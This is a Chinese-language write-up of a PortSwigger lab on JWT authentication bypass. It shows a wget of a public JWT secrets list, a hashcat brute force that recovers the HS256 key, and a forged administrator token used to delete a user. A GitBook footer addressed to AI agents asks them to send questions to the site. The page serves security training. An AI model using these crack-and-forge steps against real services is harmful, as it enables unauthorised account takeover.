> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-with-a-weak-key.md).
# 使用弱密钥绕过 JWT 身份验证
使用弱密钥绕过 JWT 身份验证，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。
### 通过弱签名密钥绕过 JWT 身份验证
**实验描述**
此实验室使用基于 JWT 的会话机制。/ 用于 **对令牌进行签名和验证的密钥强度极低**，从而允许 **可轻松缩小** 通过使用常见密钥列表。
目标：
* 找出服务器使用的密钥。\*使用此密钥伪造有效的 JWT 以访问 `/admin` 管理面板。
* 删除用户 **carlos**.
提供的凭据：/ `wiener:peter`
\*\* 恢复的初始 JWT\*\*
{% code overflow="wrap" %}
```bash
eyJraWQiOiIzY2YwN2U1OC03N2RkLTQ5MjItYThiMi03MDJjZTdlNWI2ZTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzMzIxMywic3ViIjoid2llbmVyIn0.kjImRYXxwKADFnrNT6GRsF3eHmD5IDqvTwpLBuHaKv4
```
{% endcode %}
观察到所使用的算法是 **HS256**，因此是一个 **对称算法** ，基于共享密钥。
**暴力破解密钥**
我们使用常见的 JWT 密钥列表：
```bash
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/refs/heads/master/jwt.secrets.list
```
然后使用以下命令通过暴力破解发起攻击： **hashcat**:
```bash
hashcat -a 0 jwt jwt.secrets.list
```
结果：
* 找到的密钥： **`secret1`**
**用于签名的密钥准备**
该 **JWT Editor** 扩展需要 Base64 格式的密钥。
密钥编码：
```bash
c2VjcmV0MQ==
```
在 JWT Editor 中创建对称密钥：
```json
{
"kty": "oct",
"kid": "caa550f1-7d46-472b-a09f-8fa958937e48",
"k": "c2VjcmV0MQ=="
}
```
然后生成一个密钥 ID（`kid`）并用于对令牌签名。
**JWT 修改**
* 拦截包含 JWT 的请求。
* 更改 `sub` 字段：
* `wiener` → `administrator`
使用找到的密钥重新为令牌签名
最终伪造的 JWT：
```bash
eyJraWQiOiI5MTVjNmE0Yy1iNzA3LTRmMmYtOTU3Ny05ODdhNWNhMzM1YjYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzUzNDY3MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.8VSJ5AinItZtayGFFfgsGidQuEIcxlzY6clVk1moITQ
```
**结果**
* 服务器接受了使用弱密钥签名的 JWT。
* 成功访问 `/admin` 面板。
* 用户被识别为 \*\*管理员\*\*。
* 在移除用户后，实验室通过验证 **carlos**.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/jwt/jwt-authentication-bypass-with-a-weak-key.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)